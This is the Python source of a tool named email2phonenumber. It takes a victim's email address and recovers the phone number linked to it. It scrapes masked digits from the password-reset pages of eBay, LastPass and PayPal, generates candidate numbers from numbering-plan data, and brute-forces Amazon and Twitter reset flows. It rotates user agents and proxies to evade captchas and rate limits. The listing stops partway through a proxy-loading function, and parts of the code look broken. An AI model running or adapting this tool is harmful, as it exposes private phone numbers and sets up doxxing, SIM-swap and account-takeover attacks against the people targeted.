/
email2phonenumber.py
746 lines (601 loc) · 39.5 KB
/
email2phonenumber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
#!/usr/bin/env python
import argparse
import requests
import re
import sys
import os
import time
import zipfile
import random
import urllib
from itertools import product
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
userAgents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36",
"Opera/9.80 (J2ME/MIDP; Opera Mini/7.1.32052/29.3417; U; en) Presto/2.8.119 Version/11.10",
"Mozilla/5.0 (Windows NT 5.1; rv:34.0) Gecko/20100101 Firefox/34.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8",
"Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"]
proxyList = []
verifyProxy = False
poolingCache = {} # To cache results from nationalpooling website and save bandwith
############ BRUTEFORCERS ############
def startBruteforcing(phoneNumbers, victimEmail, quietMode, verbose):
if quietMode:
getMaskedEmailWithTwitter(phoneNumbers, victimEmail, verbose)
else:
getMaskedEmailWithAmazon(phoneNumbers, victimEmail, verbose)
getMaskedEmailWithTwitter(phoneNumbers, victimEmail, verbose)
# Uses Amazon to obtain masked email by resetting passwords using phone numbers
def getMaskedEmailWithAmazon(phoneNumbers, victimEmail, verbose):
global userAgents
global proxyList
print "Using Amazon to find victim's phone number..."
emailRegex = "[a-zA-Z0-9]\**[a-zA-Z0-9]@[a-zA-Z0-9]+\.[a-zA-Z0-9]+"
possibleNumberFound = False
for phoneNumber in phoneNumbers:
userAgent = random.choice(userAgents) # Pick random user agents to help prevent captchas
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get("https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
headers = {"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Upgrade-Insecure-Requests": "1"
},
proxies = proxy,
verify = verifyProxy)
sessionId = response.cookies["session-id"]
prevRID = re.search('name="prevRID" value="(.*)"', response.text).group(1)
workflowState = re.search('name="workflowState" value="(.*)"', response.text).group(1)
appActionToken = re.search('name="appActionToken" value="(.*)" /><input', response.text).group(1)
csmhitCookie = {"version":0,"name":'csm-hit',"value":'tb:B79Q924JBYC22JBPZBPY+s-B79Q924JBYC22JBPZBPY|1555913752789&t:1555913752789&adb:adblk_no',"port":None,"domain":'www.amazon.com'}
session.cookies.set(**csmhitCookie)
response = session.post("https://www.amazon.com/ap/forgotpassword/",
headers = {"Cache-Control": "max-age=0",
"Origin": "https://www.amazon.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data = "prevRID=" + urllib.quote(prevRID) +
"&workflowState=" + workflowState +
"&appActionToken=" + appActionToken +
"&appAction=" + "FORGOTPWD" +
"&email=" + phoneNumber +
"&metadata1=" + "ECdITeCs%3AYepiSml9%2BnkZb0MXAk3%2ByjdXcfjkmehrjevmNH8ceN%2B2SfKQrivwPHTKWv7IzIHd1lYz1tY2WGqeS7Zioe78H679%2BxQ4MXpJCvXrC8KSxHfeI%2Fe1L061lUDZFhZLZroR593ReR9RicjJHRSp5rIK%2BGy9%2F2503L2FTVB68OpW8yksfG%2BTO3cucoWs%2BPVbLiCnxPkCdpD5gZN6q9LFjhuI9Qce3e3YcxWedio0smgtPGmNh1LdRmg3hLRZ%2BsKvsD67pTxoGel%2BXgYRdqLClyXiDpsojLZp4VtZcYf%2FtoKazdvrKROQMUArQie33En4WGwRuNGgPCR3Ecliuc8ap3uGnzyWJ4DWONj772XHI3OrFymVF1ImSHFbPV3uSKCxpFnUn9mh3obKJHKk1GB0dolo2aXLIT%2FAWt%2BjIhJLT4qjo3DI7biJQFqdAJCu%2FIJqnndDj10OoWkOAEsJ6vu4OcQrCuAccFl1FEg24Bg0kcWE4yJlmL%2FRFs7n34x0QARkqnYjYyLRkBfIbGcfqNLb3kD%2Fl3vH%2BX46uYVTPTcmZ2gpKHEGx9UcWX%2FslI9RgiHJj54wDgTBIpUQiMl7T7Db5n3Li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LePc8f9zyngxTyZVMOH7%2BjeRX%2BzngKShBiKy8a4hyfFekb%2BdrP%2FqBEcjyq8sWtWTBNEEdl5uJFiKHQSy%2F5WAFuuX3yerQHq%2BYsDdd0f4lWftNcHxdLJ5C1IKhm7TLEAbt37Szs%2FNf1lxuQJ4H8GWolMSKCXjPTr7JX5lmCbLaM6cqPkYsoMfkYZKHcTB5qL3Fuc%2F1RjRCVbebr5eqK8mEHq6miZH%2FkNYCwMhG%2Fe8dk9pD8wcQm9dAoX4LyiGmcFSHkw7Vyu3c%2FyEFRKQr5McsOyPavoTIl73JelEUq2gjfXw%2Fj6BMGNWhttumOOPOkNcRAUUZoNvKo44x%2BNGUVNN0hgYmrDt9FBx%2F%2F2PfHDNu3TsOZCqB5LyPgmCiZ83StGq2dy%2FX8hlWXdBfcvJdNTCRrob7GIYrZg3somd0r%2FbS2tYsIPj6OLAhZf9EuZ8sa6ECrFp9Lhl321R8ls3kS3zyIFNMEWWFFWOMxRrTiZ%2FYUCi4%2FkFrEuPR%2BTpWb%2Bv%2FjCVyA6xXvdrHThl%2FBPMHIL%2FNsH3%2Fc8xEHoaHiEpuMnmYRdr7Kg8vC%2FrE0Q5gGxHa%2BzgfX1w0Snzymr%2BNZyq8lKNwidFciPR30pkKoS4VsZpzq7WlxT1k8rSH25Iqi20%2Bg%3D%3D",
allow_redirects = False,
proxies = proxy,
verify = verifyProxy)
if "Location" in response.headers:
redirectURL = response.headers['Location']
if "prevRID" in redirectURL:
redirectPrevRID = re.search('prevRID=([A-Z0-9]+)&', redirectURL).group(1)
redirectParamJwt = re.search('paramJwt=(.*)&', redirectURL).group(1)
response = session.get(redirectURL,
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
proxies = proxy,
verify = verifyProxy)
else:
response = session.get("https://www.amazon.com" + redirectURL,
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.amazon.com/ap/forgotpassword?openid.assoc_handle=usflex",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
proxies = proxy,
verify = verifyProxy)
if response.status_code >= 500: # Error, let's try again
print YELLOW + "WARNING: 500 error returned for phone: " + phoneNumber + ENDC
continue
elif "We're sorry" in response.text: # Phone is not registered
if verbose: print YELLOW + "Phone " + phoneNumber + " not registered" + ENDC
continue
elif "reached the maximum number of attempts" in response.text:
if verbose: print YELLOW + "MAX attemtps reached when trying phone: " + phoneNumber + ENDC
continue
elif "Enter the characters above" in response.text:
if verbose: print YELLOW + "Captcha caught us trying number: " + phoneNumber + ENDC
continue
elif "Set a new password" in response.text: # Deal with multiple option
response = session.post("https://www.amazon.com/ap/forgotpassword/options?ie=UTF8&openid.pape.max_auth_age=0&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select¶mJwt=" + redirectParamJwt + "&pageId=usflex&ignoreAuthState=1&openid.return_to=https%3A%2F%2Fwww.amazon.com%2F%3Fref_%3Dnav_custrec_signin&prevRID=" + redirectPrevRID + "&openid.assoc_handle=usflex&openid.mode=checkid_setup&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&failedSignInCount=0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0",
headers = {"Cache-Control": "max-age=0",
"Origin": "https://www.amazon.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
data = "prevRID=" + prevRID +
"&workflowState=" + workflowState +
"&fppOptions=notSkip",
proxies = proxy,
verify = verifyProxy)
if not re.search(emailRegex, response.text): # Sometimes no mask is shown, just the actual phone number
if verbose: print YELLOW + "No masked email displayed for number: " + phoneNumber + ENDC
continue
maskedEmail = re.search(emailRegex, response.text).group(0)
if len(victimEmail) == len(maskedEmail) and victimEmail[0] == maskedEmail[0] and victimEmail[victimEmail.find('@')-1 : ] == maskedEmail[maskedEmail.find('@')-1 : ]:
print GREEN + "Possible phone number for " + victimEmail + " is: " + phoneNumber + ENDC
possibleNumberFound = True
else:
if verbose: print YELLOW + "No match for email: " + maskedEmail + " and number: " + phoneNumber + ENDC
elif "We've sent a code to the email" in response.text: # Got the masked email
maskedEmail = re.search(emailRegex, response.text).group(0)
if len(victimEmail) == len(maskedEmail) and victimEmail[0] == maskedEmail[0] and victimEmail[victimEmail.find('@')-1 : ] == maskedEmail[maskedEmail.find('@')-1 : ]:
print GREEN + "Possible phone number for " + victimEmail + " is: " + phoneNumber + ENDC
possibleNumberFound = True
else:
if verbose: print YELLOW + "No match for email: " + maskedEmail + " and number: "+ phoneNumber + ENDC
else:
print RED + "Unknown error" + ENDC
if verbose: print RED + response.text + ENDC
exit("Unknown error!")
if not possibleNumberFound:
print RED + "Couldn't find a phone number associated to " + args.email + ENDC
# Uses Amazon to obtain masked email by resetting passwords using phone numbers
def getMaskedEmailWithTwitter(phoneNumbers, victimEmail, verbose):
global userAgents
global proxyList
print "Using Twitter to find victim's phone number..."
possibleNumberFound = False
emailRegex = "[a-zA-Z0-9]\**[a-zA-Z0-9]@[a-zA-Z0-9]+\.[a-zA-Z0-9]+"
for phoneNumber in phoneNumbers:
userAgent = random.choice(userAgents) # Pick random user agents to help prevent captchas
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get("https://twitter.com/account/begin_password_reset",
headers = {"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Push-State-Request": "true",
"X-Requested-With": "XMLHttpRequest",
"X-Twitter-Active-User": "yes",
"User-Agent": userAgent,
"X-Asset-Version": "5bced1",
"Referer": "https://twitter.com/login",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
proxies = proxy,
verify = verifyProxy)
authenticityToken = ""
regexOutput = re.search('authenticity_token.+value="(\w+)">', response.text)
if regexOutput and regexOutput.group(1):
authenticityToken = regexOutput.group(1)
else:
if verbose: print YELLOW + "Twitter did not display a masked email for number: " + phoneNumber + ENDC
continue
response = session.post("https://twitter.com/account/begin_password_reset",
headers = {"Cache-Control": "max-age=0",
"Origin": "https://twitter.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://twitter.com/account/begin_password_reset",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
data = "authenticity_token=" + authenticityToken +
"&account_identifier=" + phoneNumber,
allow_redirects = False,
proxies = proxy,
verify = verifyProxy)
if "Location" in response.headers and response.headers['Location'] == "https://twitter.com/account/password_reset_help?c=4":
print RED + "Twitter reports MAX attemtps reached. Need to change IP. It happened while trying phone " + phoneNumber + ENDC
continue
response = session.get("https://twitter.com/account/send_password_reset",
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://twitter.com/account/begin_password_reset",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9"
},
proxies = proxy,
verify = verifyProxy)
maskedEmail = ""
regexOutput = re.search('<strong .+>([a-zA-Z]+\*+@[a-zA-Z\*\.]+)<\/strong>', response.text)
if regexOutput and regexOutput.group(1):
maskedEmail = regexOutput.group(1)
if len(victimEmail) == len(maskedEmail) and victimEmail[0] == maskedEmail[0] and victimEmail[1] == maskedEmail[1] and victimEmail[victimEmail.find('@')+1 : victimEmail.find('@')+2] == maskedEmail[maskedEmail.find('@')+1 : maskedEmail.find('@')+2]:
print GREEN + "Twitter found that the possible phone number for " + victimEmail + " is: " + phoneNumber + ENDC
possibleNumberFound = True
else:
if verbose: print YELLOW + "Twitter did not find a match for email: " + maskedEmail + " and number: "+ phoneNumber + ENDC
else:
if verbose: print YELLOW + "Twitter did not display a masked email for number: " + phoneNumber + ENDC
continue
if not possibleNumberFound:
print RED + "Couldn't find a phone number associated to " + args.email + ENDC
############ SCRAPERS ############
def startScraping(email, quietMode):
print "Starting scraping online services..."
if quietMode:
scrapePaypal(email)
else:
scrapeEbay(email)
scrapeLastpass(email)
#scrapePaypal(email)
def scrapeLastpass(email):
global userAgents
global proxyList
print "Scraping Lastpass..."
userAgent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get("https://lastpass.com/recover.php",
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies = proxy,
verify = verifyProxy)
csrfToken = re.search('<input type="hidden" name="token" value="(.+?)">', response.text).group(1)
response = session.post("https://lastpass.com/recover.php",
headers = {"Cache-Control": "max-age=0",
"Origin": "https://lastpass.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://lastpass.com/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data = "cmd=sendemail" +
"&token=" + csrfToken +
"&username=" + email,
proxies = proxy,
verify = verifyProxy)
last2 = ""
regexOutput = re.search("We sent an SMS with a verification code to .*>(\+?)(.+([0-9]{2}))<\/strong>", response.text)
if regexOutput and regexOutput.group(3):
last2 = regexOutput.group(3)
print GREEN + "Lastpass reports that the last 2 digits are: " + last2 + ENDC
if regexOutput.group(1):
print GREEN + "Lastpass reports a non US phone number" + ENDC
print GREEN + "Lastpass reports that the length of the phone number (including country code) is " + str(len(regexOutput.group(2).replace("-",""))) + " digits" + ENDC
else:
print GREEN + "Lastpass reports a US phone number" + ENDC
print GREEN + "Lastpass reports that the length of the phone number (without country code) is " + str(len(regexOutput.group(2).replace("-",""))) + " digits" + ENDC
else:
print YELLOW + "Lastpass did not report any digits" + ENDC
def scrapeEbay(email):
global userAgents
global proxyList
print "Scraping Ebay..."
userAgent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get("https://fyp.ebay.com/EnterUserInfo?ru=https%3A%2F%2Fwww.ebay.com%2F&gchru=&clientapptype=19&rmvhdr=false",
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies = proxy,
verify = verifyProxy)
reqinput = ""
regexOutput = re.search('value="(\w{60,})"', response.text)
if regexOutput and regexOutput.group(1):
reqinput = regexOutput.group(1)
else:
print YELLOW + "Ebay did not report any digits" + ENDC
return
response = session.post("https://fyp.ebay.com/EnterUserInfo?ru=https%3A%2F%2Fwww.ebay.com%2F&gchru=&clientapptype=19&rmvhdr=false",
headers = {"Cache-Control": "max-age=0",
"Origin": "https://fyp.ebay.com",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://fyp.ebay.com/EnterUserInfo?ru=https%3A%2F%2Fwww.ebay.com%2F&clientapptype=19&signInUrl=https%3A%2F%2Fwww.ebay.com%2Fsignin%3Ffyp%3Dsgn%26siteid%3D0%26co_partnerId%3D0%26ru%3Dhttps%253A%252F%252Fwww.ebay.com%252F&otpFyp=1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data = "ru=https%253A%252F%252Fwww.ebay.com%252F" +
"&showSignInOTP=" +
"&signInUrl=" +
"&clientapptype=19" +
"&reqinput=" + reqinput +
"&rmvhdr=false" +
"&gchru=&__HPAB_token_text__=" +
"&__HPAB_token_string__=" +
"&pageType=" +
"&input=" + email,
proxies = proxy,
verify = verifyProxy)
first1 = ""
last2 = ""
regexOutput = re.search("text you at ([0-9]{1})xx-xxx-xx([0-9]{2})", response.text)
if regexOutput:
if regexOutput.group(1):
first1 = regexOutput.group(1)
print GREEN + "Ebay reports that the first digit is: " + first1 + ENDC
if regexOutput.group(2):
last2 = regexOutput.group(2)
print GREEN + "Ebay reports that the last 2 digits are: " + last2 + ENDC
else:
print YELLOW + "Ebay did not report any digits" + ENDC
def scrapePaypal(email):
global userAgents
global proxyList
print "Scraping Paypal..."
userAgent = random.choice(userAgents)
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
response = session.get("https://www.paypal.com/authflow/password-recovery/",
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies = proxy,
verify = verifyProxy)
_csrf = ""
regexOutput = re.search('"_csrf":"([a-zA-Z0-9+\/]+={0,3})"', response.text)
if regexOutput and regexOutput.group(1):
_csrf = regexOutput.group(1)
else:
print YELLOW + "Paypal did not report any digits" + ENDC
return
response = session.post("https://www.paypal.com/authflow/password-recovery",
headers = {"Upgrade-Insecure-Requests": "1",
"Origin": "https://www.paypal.com",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": userAgent,
"Accept": "*/*",
"Referer": "https://www.paypal.com/authflow/password-recovery/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data = "email=" + email +
"&_csrf=" + _csrf,
proxies = proxy,
verify = verifyProxy)
_csrf = _sessionID = jse = ""
regexOutput = re.search('"_csrf":"([a-zA-Z0-9+\/]+={0,3})"', response.text)
if regexOutput and regexOutput.group(1): _csrf = regexOutput.group(1)
regexOutput = re.search('_sessionID" value="(\w+)"', response.text)
if regexOutput and regexOutput.group(1): _sessionID = regexOutput.group(1)
regexOutput = re.search('jse="(\w+)"', response.text)
if regexOutput and regexOutput.group(1): jse = regexOutput.group(1)
if not _csrf or not _sessionID or not jse:
print YELLOW + "Paypal did not report any digits" + ENDC
return
response = session.post("https://www.paypal.com/auth/validatecaptcha",
headers = {"Upgrade-Insecure-Requests": "1",
"Origin": "https://www.paypal.com",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": userAgent,
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "*/*",
"Referer": "https://www.paypal.com/authflow/password-recovery/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
data = "captcha=" +
"&_csrf=" + _csrf +
"&_sessionID=" + _sessionID +
"&jse=" + jse +
"&ads_token_js=b2c9ad327f5fa65af5a0a0a4cfa912d5cadf0f593027afffadd959390753d44d" +
"&afbacc5007731416=2e21541bb2d5470b", # TODO
proxies = proxy,
verify = verifyProxy)
clientInstanceId = ""
regexOutput = re.search('"clientInstanceId":"([a-zA-Z0-9-]+)"', response.text)
if regexOutput and regexOutput.group(1):
clientInstanceId = regexOutput.group(1)
else:
YELLOW + "Paypal did not report any digits" + ENDC
return
response = session.get("https://www.paypal.com/authflow/entry/?clientInstanceId=" + clientInstanceId,
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": userAgent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.paypal.com/authflow/password-recovery/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
},
proxies = proxyList,
verify = verifyProxy)
lastDigits = ""
regexOutput = re.search("Mobile <span.+((\d+)\W+(\d+))<\/span>", response.text)
if regexOutput and regexOutput.group(3):
last4 = regexOutput.group(3)
print GREEN + "Pyapal reports that the last " + len(regexOutput.group(3)) + " digits are: " + lastDigits + ENDC
if regexOutput.group(2):
firstDigit = regexOutput.group(2)
print GREEN + "Paypal reports that the first digit is: " + regexOutput.group(2) + ENDC
if regexOutput.group(1):
print GREEN + "Paypal reports that the length of the phone number (without country code) is " + len(regexOutput.group(1)) + " digits" + ENDC #TODO: remove spaces
else:
print YELLOW + "Paypal did not report any digits" + ENDC
############ GENERATORS ############
# Returns all possible valid phone numbers according to NANPA based on a partial phone number
def getPossiblePhoneNumbers(maskedPhone):
global poolingCache
possiblePhoneNumbers = []
nanpaFileUrl = "https://www.nationalnanpa.com/nanp1/allutlzd.zip"
# Check if we need to download/update NANPA file
if not os.path.exists("./allutlzd.zip") or (time.time() - os.path.getmtime("./allutlzd.zip")) > (24*60*60):
print "NANPA file missing or needs to be updated. Downloading now..."
response = requests.get(nanpaFileUrl)
with open("allutlzd.zip", "wb") as code:
code.write(response.content)
print "NANPA file downloaded successfully"
archive = zipfile.ZipFile('./allutlzd.zip', 'r')
file = archive.read('allutlzd.txt')
archive.close()
assignedRegex = '\s[0-9A-Z\s]{4}\t.*\t[A-Z\-\s]+\t[0-9\\]*[\t\s]+AS' # Only assigned area codes and exchanges
areacodeExchangeRegex = re.sub("X", "[0-9]{1}", "(" + maskedPhone[:3] + "-" + maskedPhone[3:6] + ")") # Area code + exchange
possibleAreacodeExchanges = re.findall("([A-Z]{2})\s\t" + areacodeExchangeRegex + assignedRegex, file) # Format: [state, areacode-exchange]
remainingX = maskedPhone[7:].count("X")
maskedPhoneFormatted = maskedPhone[7:].replace("X","{}")
for possibleAreacodeExchange in possibleAreacodeExchanges:
state = possibleAreacodeExchange[0]
areacode = possibleAreacodeExchange[1].split("-")[0]
exchange = possibleAreacodeExchange[1].split("-")[1]
if areacode not in poolingCache:
cacheValidBlockNumbers(state, areacode)
if maskedPhone[6] == 'X': # Check for available block numbers for that area code and exchange
if areacode in poolingCache and exchange in poolingCache[areacode]:
blockNumbers = poolingCache[areacode][exchange]['blockNumbers']
else:
blockNumbers = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
else: # User provided blocknumber
if areacode in poolingCache and exchange in poolingCache[areacode] and maskedPhone[6] not in poolingCache[areacode][exchange]['blockNumbers']: # User provided invalid block number
blockNumbers = []
else:
blockNumbers = [maskedPhone[6]]
for blockNumber in blockNumbers: # Add the rest of random subscriber number digits
for x in product("0123456789", repeat=remainingX):
possiblePhoneNumbers.append(areacode + exchange + blockNumber + maskedPhoneFormatted.format(*x))
return possiblePhoneNumbers
def cacheValidBlockNumbers(state, areacode):
global userAgents
global proxyList
global poolingCache
proxy = random.choice(proxyList) if proxyList else None
session = requests.Session()
session.get("https://www.nationalpooling.com/pas/blockReportSelect.do?reloadModel=N") # We need the cookies or it will error
response = session.post("https://www.nationalpooling.com/pas/blockReportDisplay.do",
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": random.choice(userAgents),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Referer": "https://www.nationalpooling.com/pas/blockReportSelect.do?reloadModel=Y",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9,es;q=0.8",
"Origin": "https://www.nationalpooling.com",
"Content-Type": "application/x-www-form-urlencoded",
"DNT": "1"
},
data = "stateAbbr=" + state +
"&npaId=" + areacode +
"&rtCntrId=" + "ALL" +
"&reportType=" + "3",
proxies = proxy,
verify = verifyProxy)
soup = BeautifulSoup(response.text, 'html.parser')
availableBlockNumbers = []
areacodeCells = soup.select("form table td:nth-of-type(1)")
for areaCodeCell in areacodeCells:
if areaCodeCell.string and areaCodeCell.string.strip() == areacode:
exchange = areaCodeCell.next_sibling.next_sibling.string.strip()
blockNumber = areaCodeCell.next_sibling.next_sibling.next_sibling.next_sibling.string.strip()
if areacode not in poolingCache:
poolingCache[areacode] = {}
poolingCache[areacode][exchange] = {}
poolingCache[areacode][exchange]['blockNumbers'] = []
elif exchange not in poolingCache[areacode]:
poolingCache[areacode][exchange] = {}
poolingCache[areacode][exchange]['blockNumbers'] = []
poolingCache[areacode][exchange]['blockNumbers'].append(blockNumber) # Temporarely we store the invalid blocknumbers
for areacode in poolingCache: # Let's switch invalid blocknumbers for valid ones
for exchange in poolingCache[areacode]:
poolingCache[areacode][exchange]['blockNumbers'] = [n for n in ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"] if n not in poolingCache[areacode][exchange]['blockNumbers']]
def setProxyList():
global proxyList
f = open(args.proxies, "r")
if not f.mode == 'r':
f.close()
